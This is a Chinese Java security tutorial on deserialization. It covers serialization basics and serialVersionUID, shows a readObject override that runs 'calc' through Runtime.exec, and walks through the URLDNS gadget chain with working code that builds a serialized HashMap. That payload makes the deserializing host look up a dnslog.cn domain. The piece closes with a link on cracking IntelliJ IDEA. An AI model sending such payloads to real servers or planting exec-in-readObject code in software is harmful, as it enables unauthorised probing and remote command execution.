01、Java 安全-反序列化基础

Java 反序列化基础

1.ObjectOutputStream 与 ObjectInputStream类

1.1.ObjectOutputStream类

java.io.ObjectOutputStream 类，将Java对象的原始数据类型写出到文件,实现对象的持久存储。

序列化操作

一个对象要想序列化，必须满足两个条件:

• 该类必须实现 java.io.Serializable 接口， Serializable 是一个标记接口，不实现此接口的类将不会使任何状态序列化或反序列化，会抛出 NotSerializableException 。
• 该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的，则该属性必须注明是瞬态的，使用transient 关键字修饰。

示例：

Employee.java

public class Employee implements java.io.Serializable{
    public String name;
    public String address;
    public transient int age; // transient瞬态修饰成员,不会被序列化
    public void addressCheck() {
        System.out.println("Address check : " + name + " -- " + address);
        //此处省略tostring等方法
    }
}

SerializeDemo.java

public class SerializeDemo {
    public static void main(String[] args) throws IOException {
        Employee e = new Employee();
        e.name = "zhangsan";
        e.age = 20;
        e.address = "shenzhen";
        // 1.创建序列化流
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        // 2.写出对象
        outputStream.writeObject(e);
        // 3.释放资源
        outputStream.close();
    }
}

将Employee对象写入到了employee.txt文件中

开头的 AC ED 00 05 为序列化内容的特征

1.2.ObjectInputStream类

如果能找到一个对象的class文件，我们可以进行反序列化操作，调用 ObjectInputStream 读取对象的方法：

public class DeserializeDemo {
    public static void main(String[] args) throws IOException,
    ClassNotFoundException {
        // 1.创建反序列化流
        FileInputStream fileInputStream = new FileInputStream("ser.txt");
        ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
        // 2.使用ObjectInputStream中的readObject读取一个对象
        Object o = inputStream.readObject();
        // 3.释放资源
        inputStream.close();
        System.out.println(o);
    }
}

打印结果：

反序列化操作就是从二进制文件中提取对象

1.3.示例

package myTest;

import java.io.*;

class User implements Serializable {
    public String username;
    private int age;
//    不希望被序列化
    private transient String sex;

//    构造函数
    public User(String username, int age, String sex) {
        this.username = username;
        this.age = age;
        this.sex = sex;
    }

//    toString方法
    @Override
    public String toString() {
        return "User{" +
                "username='" + username + '\'' +
                ", age=" + age +
                ", sex='" + sex + '\'' +
                '}';
    }
}


public class myTest {
//    主函数
    public static void main(String[] args) throws Exception {
        User user = new User("moonsec", 20, "man");
        System.out.println(user);
//        序列化对象
//        Serilize(user);
//        反序列化对象
        Deserialize();
    }

//    序列化对象方法
    public static void Serilize(Object obj) throws Exception {
//        创建序列化流
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
//        将序列化对象写入ser.txt中
        outputStream.writeObject(obj);
//        释放资源
        outputStream.close();
    }

//    反序列化对象方法
    public static void Deserialize() throws Exception {
//        创建反序列化流
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
//        使用ObjectInputStream类中的readObject读取一个对象
        Object obj = inputStream.readObject();
//        释放资源
        inputStream.close();
        System.out.println(obj);
    }
}

2.反序列化漏洞的基本原理

在Java反序列化中，会调用被反序列化的readObject方法，当readObject方法被重写不当时产生漏洞

package myTest;

import java.io.*;

class User implements Serializable {
    public String username;
    private int age;
//    不希望被序列化
    private transient String sex;

//    构造函数
    public User(String username, int age, String sex) {
        this.username = username;
        this.age = age;
        this.sex = sex;
    }

//    重新readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

//    toString方法
    @Override
    public String toString() {
        return "User{" +
                "username='" + username + '\'' +
                ", age=" + age +
                ", sex='" + sex + '\'' +
                '}';
    }
}


public class myTest {
//    主函数
    public static void main(String[] args) throws Exception {
        User user = new User("moonsec", 20, "man");
        System.out.println(user);
//        序列化对象，这里不会执行 calc 命令
//        Serilize(user);
//        反序列化对象，此时会调用 重写的 readObject 方法，执行 calc 命令
        Deserialize();
    }

//    序列化对象方法
    public static void Serilize(Object obj) throws Exception {
//        创建序列化流
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
//        将序列化对象写入ser.txt中
        outputStream.writeObject(obj);
//        释放资源
        outputStream.close();
    }

//    反序列化对象方法
    public static void Deserialize() throws Exception {
//        创建反序列化流
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
//        使用ObjectInputStream类中的readObject读取一个对象
        Object obj = inputStream.readObject();
//        释放资源
        inputStream.close();
        System.out.println(obj);
    }
}

此处重写了readObject方法，执行了 Runtime.getRuntime().exec()

defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法

运行流程：

1. myObj对象序列化进object文件

2. 从object反序列化对象->调用readObject方法->执行 Runtime.getRuntime().exec("calc.exe"); 

3.java类中serialVersionUID的作用

验证版本是否一致：

serialVersionUID 适用于java序列化机制。简单来说，JAVA序列化的机制是通过 判断类的

serialVersionUID 来验证的版本一致的。在进行反序列化时，JVM会把传来的字节流中的

serialVersionUID 与本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的，可以进行反序列化，否则会出现反序列化版本一致的异常，即是 InvalidCastException。

3.1.serialVersionUID有两种显示的生成方式

一是 默认的1L，比如：private static final long serialVersionUID = 1L;

二是根据包名，类名，继承关系，非私有的方法和属性，以及参数，返回值等诸多因子计算得出的，极度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如：private static final

long serialVersionUID = xxxxL;

注意：显示声明serialVersionUID可以避免对象不一致，

设置自动生存uid

4.URLDNS 链

URLDNS 链是 java 原生态的一条利用链，通常用于存在反序列化漏洞进行验证的，因为是原生态，不存在什么版本限制。

HashMap 结合 URL 触发 DNS 检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了 readObject() 以及能否执行。之后再用各种 gadget 去尝试试 RCE。

HashMap 最早出现在 JDK 1.2 中，底层基于散列算法实现。而正是因为在 HashMap 中，Entry 的存放位置是根据 Key 的 Hash 值来计算，然后存放到数组中的。所以对于同一个 Key，在不同的 JVM 实现中计算得出的 Hash 值可能是不同的。因此，HashMap 实现了自己的 writeObject 和 readObject 方法。

4.1.调用链分析

因为是研究反序列化问题，所以我们来看一下它的readObject方法

前面主要是使用的一些防止数据不一致的方法，我们可以忽视。主要看 putVal 时候 key 进入了 hash 方法，跟进看 putVal 里 hash 函数

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。

很幸运的我们发现了URL类，它有一个有趣的特点，就是当执行hashCode方法时会触发当前 URLStreamHandler 的 hashCode 方法。

URL->hashCode 

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;
        
    hashCode = handler.hashCode(this);
    return hashCode;
}

hashCode等于-1的时候调用handler中的hashCode

protected int hashCode(URL u) {
    int h = 0;
    
    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();
        
    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
        h += host.toLowerCase().hashCode();
    }
    
    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();
    
    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();
        
    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();
    return h;
}

主要是这一句话存在dns查询

InetAddress addr = getHostAddress(u);

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;
        
    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}

最后触发这里 进行DNS查询。

也就是说我们现在思路是通过 hashmap 放入一个URL的key然后会触发DNS查询。这里需要注意一个点，就是在 URLStreamHandler 的hashCode方法中首先进行了一个缓存判断即如果不等于 -1 会直接return。 

if (hashCode != -1)
    return hashCode;

因为在生成hashMap put时候会调用到hashCode方法，所以会缓存下来，即hashcode不为-1。所以为了让被接收者触发DNS查询，我们需要先通过反射把hashcode值改为-1，绕过缓存判断。

正常的情况下hashmap->put的时候就会进行dns 

import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>();
        URL url = new URL("http://hobeey.dnslog.cn");
        hashmap.put(url,222);
    }
}

成功返回 ip：http://dnslog.cn/

整个调用链

HashMap->readObject()
HashMap->hash()
URL->hachCode()
URLStreamHandler->hachCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()

4.2.反序列化利用

package myTest;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class dnsTest {
    public static void main(String[] args) throws Exception {
//        正常的流程：hashMap -> readObject -> hash-URL.hashCode -> getHostAddress -> InetAddress.getByName(host);
        HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>();
        URL url = new URL("http://oq1hz4.dnslog.cn");
//        通过反射，将 hashCode 的值修改为不是 -1
        Class c = URL.class;
        Field fieldHashcode = c.getDeclaredField("hashCode");
        fieldHashcode.setAccessible(true);
        fieldHashcode.set(url, 233);
//        此时，由于修改了 hashCode 的值不为 -1，所以不会访问 url
        hashMap.put(url, 22);
        fieldHashcode.set(url, -1);
//        在执行反序列化时，要去访问 url
        Serilize(hashMap);
    }
    public static void Serilize(Object obj) throws Exception {
//        创建序列化流
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
//        将序列化对象写入ser.txt中
        outputStream.writeObject(obj);
//        释放资源
        outputStream.close();
    }
}

进行反序列化

package myTest;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Deserialize {
    public static void main(String[] args) throws Exception {
        Deserialize();
    }
    public static void Deserialize() throws Exception {
//        创建反序列化流
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
//        使用ObjectInputStream类中的readObject读取一个对象
        Object obj = inputStream.readObject();
//        释放资源
        inputStream.close();
    }
}

5.IDEA 安装破解

参考：https://www.cnblogs.com/beast-king/p/17856236.html